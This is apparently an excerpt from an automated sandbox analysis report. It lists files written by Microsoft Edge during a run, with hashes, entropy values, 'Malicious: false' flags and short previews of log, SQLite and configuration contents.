Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.120770571085677
Encrypted:	false
SSDEEP:	6:NXt+q2PN723oH+Tcwt9Eh1tIFUt8EqwZmw+E3VkwON723oH+Tcwt9Eh15LJ:ivVaYeb9Eh16FUt8/w/+c5OaYeb9Eh1H
MD5:	4339EE0D1F9FECBAE97CA35C2D178A50
SHA1:	E14ACB0DE69ED88589E7961D9253024F8B72380C
SHA-256:	C1E7536A4A83F997DADCCE55863B8B1636707662EFBA2CE1D965037CE6B8E92E
SHA-512:	2CDC6AE0988CA932FDD05C906DA14A58360CC5E651E5964127FD66274E00B702427A5C0D04BFCF39C96C3255CE91F4B40BA75FD50483803326279A0DACC4B285
Malicious:	false
Preview:	2024/12/24-13:28:24.153 3f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/24-13:28:24.168 3f8 Recovering log #3.2024/12/24-13:28:24.227 3f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.120770571085677
Encrypted:	false
SSDEEP:	6:NXt+q2PN723oH+Tcwt9Eh1tIFUt8EqwZmw+E3VkwON723oH+Tcwt9Eh15LJ:ivVaYeb9Eh16FUt8/w/+c5OaYeb9Eh1H
MD5:	4339EE0D1F9FECBAE97CA35C2D178A50
SHA1:	E14ACB0DE69ED88589E7961D9253024F8B72380C
SHA-256:	C1E7536A4A83F997DADCCE55863B8B1636707662EFBA2CE1D965037CE6B8E92E
SHA-512:	2CDC6AE0988CA932FDD05C906DA14A58360CC5E651E5964127FD66274E00B702427A5C0D04BFCF39C96C3255CE91F4B40BA75FD50483803326279A0DACC4B285
Malicious:	false
Preview:	2024/12/24-13:28:24.153 3f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/24-13:28:24.168 3f8 Recovering log #3.2024/12/24-13:28:24.227 3f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4630702811505476
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5/ll:TouQq3qh7z3bY2LNW9WMcUvBu7l
MD5:	EFB6B54255FCE068F6FF2388D43A4262
SHA1:	5CA2A93FA1F204CA8CD7F7E7225BC367C8C0A280
SHA-256:	EE2DAB95993CFEA8BEC385C99468F8E997DF0490D3FEFDA70E0B13761758C542
SHA-512:	985F64AB4B182CB1B91E6BA0979D1BAF0547D854B7DD937B30CB1FDB1E7DF9B7170F899EF7EB6B2C3FB43C0FF47AC133FA4005F9E198129B40D80BDD1E5ABC08
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.223610386278223
Encrypted:	false
SSDEEP:	6:NXv33+q2PN723oH+TcwtnG2tMsIFUt8EXvcFVZZmw+EXvcFVNVkwON723oH+Tcwj:ZmvVaYebn9GFUt8KEN/+KE/5OaYebn9b
MD5:	51A748BA5E746FD23726921272777C16
SHA1:	1271394B88E0FB1112293C18D2032DDE89EB4B41
SHA-256:	68DA08D443CB1A11F40C687DD9F3CBBCFD7BD4CB979221691C28C1D92D09255D
SHA-512:	F295082FC79D0AB42E15C0D3E7BCC061E1834540FC7FB9BDA45DEC322512282869B9245FB772F07A6D200C3BEDF63145A955C0807739751D0CE238B83A971D24
Malicious:	false
Preview:	2024/12/24-13:28:19.798 17d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/24-13:28:19.799 17d8 Recovering log #3.2024/12/24-13:28:19.799 17d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.223610386278223
Encrypted:	false
SSDEEP:	6:NXv33+q2PN723oH+TcwtnG2tMsIFUt8EXvcFVZZmw+EXvcFVNVkwON723oH+Tcwj:ZmvVaYebn9GFUt8KEN/+KE/5OaYebn9b
MD5:	51A748BA5E746FD23726921272777C16
SHA1:	1271394B88E0FB1112293C18D2032DDE89EB4B41
SHA-256:	68DA08D443CB1A11F40C687DD9F3CBBCFD7BD4CB979221691C28C1D92D09255D
SHA-512:	F295082FC79D0AB42E15C0D3E7BCC061E1834540FC7FB9BDA45DEC322512282869B9245FB772F07A6D200C3BEDF63145A955C0807739751D0CE238B83A971D24
Malicious:	false
Preview:	2024/12/24-13:28:19.798 17d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/24-13:28:19.799 17d8 Recovering log #3.2024/12/24-13:28:19.799 17d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6129194872972638
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j8jxp9jI4mL:TO8D4jJ/6Up+Ah2
MD5:	9E09DCE4692F935167B522C5C9890311
SHA1:	733966A04DCE4FE044E4BD4BFFE254D962CB0256
SHA-256:	1CCF1076E897A26A02B02D17EB73302C2F1F80344B5CAD7C0B1A3311DC03F541
SHA-512:	D2207D359F25CB00FF24DC3E438B8F7D9DAB179285116519EE85F560D7BA80962B8C8D37A1AE0804E17EFB520EE71056E786933744748F6CEA3E8468F9764C65
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.35414129061542
Encrypted:	false
SSDEEP:	6144:hA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:hFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	93A4A8D46402D081934CCFD0CBEB0DD7
SHA1:	ABCEFCCEF3B8EBC6566BCFCD56B56BC96F81EE50
SHA-256:	1682DFCC1CA505142C4573F8FCAAAAF1F51235D670C42690A2F3825A8D44223D
SHA-512:	75224A33A1D7ADBFE63B3481AB99051C0C4952ED8C832802A52181615FE5605F12148979F7126351862A3C31ECF9F9F5644C5E32967516B6FAF88CF71375A8ED
Malicious:	false
Preview:	...m.................DB_VERSION.1.P..q...............&QUERY_TIMESTAMP:domains_config_gz2...13379538507720676..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.152000266711855
Encrypted:	false
SSDEEP:	6:NBq1N723oH+Tcwtk2WwnvB2KLlbI4q2PN723oH+Tcwtk2WwnvIFUv:yaYebkxwnvFL64vVaYebkxwnQFUv
MD5:	1B00ADEB5DF709C03F6C241B83B8EE13
SHA1:	652EA4B86458D318A92F84BBA05D78DCD5E15148
SHA-256:	04447491454548850AFD0EC03D21878074E3D5DACB79256FABBDFDBFCB18666D
SHA-512:	842E665C1D6E6C3557CACB36EEA0C79FF2F2B22C749409504D6FE5071C8FE43BC91F1875E940DA6226A26952A711126EFDE1297D1C9833CCA5DBD1458F1C937D
Malicious:	false
Preview:	2024/12/24-13:28:24.171 790 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/24-13:28:24.216 790 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606766763443
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ra:C1gAg1zfvi
MD5:	89689A5BACC6BCA1624E2166C9D49053
SHA1:	A8A6629D837E86D60995D44F7CDE41F3AB1D3243
SHA-256:	BCEA93792E008533692D815767A1174AE6878AE147F6CD5DDDB2E423CACD43CF
SHA-512:	7DAC490312990BBE6C0A25B1EF483E0BB3FB3BCF3A3E06DFF5D7E5FDD809BFCDBB65FCC0E6ADD014F5F1CC6E94F9A13BB3F638CC6CE9D03B8D28ACD16F9F98BA
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.188975663271872
Encrypted:	false
SSDEEP:	6:NXnjyq2PN723oH+Tcwt8aPrqIFUt8EXn11Zmw+EXnjRkwON723oH+Tcwt8amLJ:ZjyvVaYebL3FUt8KX/+KjR5OaYebQJ
MD5:	C274A33FE7442A14BECA1DE27FBD12CE
SHA1:	222B61CFBF2F42E553538929CD8F49292D2FA2F3
SHA-256:	19987FF2DE07FD2176B3C99F7079B220EE89494AE5C5E0A436F53475EB30FE77
SHA-512:	9C8B863CCF88FB3FAB58D35CAAA258B7333B5F991DEC4D53F5EED3BCD52759A03FD24028957A89B02FA28CDB346D443B51B14E033B9CA1E0CEC1868DB99D6269
Malicious:	false
Preview:	2024/12/24-13:28:19.716 1be4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/24-13:28:19.716 1be4 Recovering log #3.2024/12/24-13:28:19.716 1be4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.188975663271872
Encrypted:	false
SSDEEP:	6:NXnjyq2PN723oH+Tcwt8aPrqIFUt8EXn11Zmw+EXnjRkwON723oH+Tcwt8amLJ:ZjyvVaYebL3FUt8KX/+KjR5OaYebQJ
MD5:	C274A33FE7442A14BECA1DE27FBD12CE
SHA1:	222B61CFBF2F42E553538929CD8F49292D2FA2F3
SHA-256:	19987FF2DE07FD2176B3C99F7079B220EE89494AE5C5E0A436F53475EB30FE77
SHA-512:	9C8B863CCF88FB3FAB58D35CAAA258B7333B5F991DEC4D53F5EED3BCD52759A03FD24028957A89B02FA28CDB346D443B51B14E033B9CA1E0CEC1868DB99D6269
Malicious:	false
Preview:	2024/12/24-13:28:19.716 1be4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/24-13:28:19.716 1be4 Recovering log #3.2024/12/24-13:28:19.716 1be4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.2362815603898305
Encrypted:	false
SSDEEP:	6:NXjSIaq2PN723oH+Tcwt865IFUt8EXjSITZmw+EXjSIJkwON723oH+Tcwt86+ULJ:ZivVaYeb/WFUt8Kr/+Kh5OaYeb/+SJ
MD5:	E13B2B401A8DDB86D2768DB74EF1D79E
SHA1:	F09A9DB76FF9E94071F8A5458511362FC8147404
SHA-256:	62DB4549CC486B1B4511BD0DCB75152CEEDFA354D6F8ED7B516661CAA2B97F41
SHA-512:	77E31BA563A56CC9768464A9FD37E9005B381B4DB9A390334E08A31F3F3DA7FBB6905A2A1F0EAB30AB08DAA32619412123FCDD57EB231862BCE927AD4F1F1849
Malicious:	false
Preview:	2024/12/24-13:28:19.757 1b84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/24-13:28:19.757 1b84 Recovering log #3.2024/12/24-13:28:19.757 1b84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.2362815603898305
Encrypted:	false
SSDEEP:	6:NXjSIaq2PN723oH+Tcwt865IFUt8EXjSITZmw+EXjSIJkwON723oH+Tcwt86+ULJ:ZivVaYeb/WFUt8Kr/+Kh5OaYeb/+SJ
MD5:	E13B2B401A8DDB86D2768DB74EF1D79E
SHA1:	F09A9DB76FF9E94071F8A5458511362FC8147404
SHA-256:	62DB4549CC486B1B4511BD0DCB75152CEEDFA354D6F8ED7B516661CAA2B97F41
SHA-512:	77E31BA563A56CC9768464A9FD37E9005B381B4DB9A390334E08A31F3F3DA7FBB6905A2A1F0EAB30AB08DAA32619412123FCDD57EB231862BCE927AD4F1F1849
Malicious:	false
Preview:	2024/12/24-13:28:19.757 1b84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/24-13:28:19.757 1b84 Recovering log #3.2024/12/24-13:28:19.757 1b84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14883001935007
Encrypted:	false
SSDEEP:	6:N4ppQyq2PN723oH+Tcwt8NIFUt8E4ppG1Zmw+E4ppQRkwON723oH+Tcwt8+eLJ:aVvVaYebpFUt8nG1/+nI5OaYebqJ
MD5:	0DB3A25B179BB7E04B7B1F19E554EE0D
SHA1:	F9A43D51D7EB5D16260471ECA1ACC223E665B504
SHA-256:	A2594DA54E95A292BDEE4CC067FF973E111BF4D332F375B4BC0BB581640DBD23
SHA-512:	AFF2AC3E973F830B2927642231123E9F3E93B8188C7EC2B4798E65EF928619DC6DA707EB0632C961E5B021EECCC8714C45DF7323ABA9DC02BE15751E05525108
Malicious:	false
Preview:	2024/12/24-13:28:20.907 1b70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/24-13:28:20.907 1b70 Recovering log #3.2024/12/24-13:28:20.907 1b70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14883001935007
Encrypted:	false
SSDEEP:	6:N4ppQyq2PN723oH+Tcwt8NIFUt8E4ppG1Zmw+E4ppQRkwON723oH+Tcwt8+eLJ:aVvVaYebpFUt8nG1/+nI5OaYebqJ
MD5:	0DB3A25B179BB7E04B7B1F19E554EE0D
SHA1:	F9A43D51D7EB5D16260471ECA1ACC223E665B504
SHA-256:	A2594DA54E95A292BDEE4CC067FF973E111BF4D332F375B4BC0BB581640DBD23
SHA-512:	AFF2AC3E973F830B2927642231123E9F3E93B8188C7EC2B4798E65EF928619DC6DA707EB0632C961E5B021EECCC8714C45DF7323ABA9DC02BE15751E05525108
Malicious:	false
Preview:	2024/12/24-13:28:20.907 1b70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/24-13:28:20.907 1b70 Recovering log #3.2024/12/24-13:28:20.907 1b70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
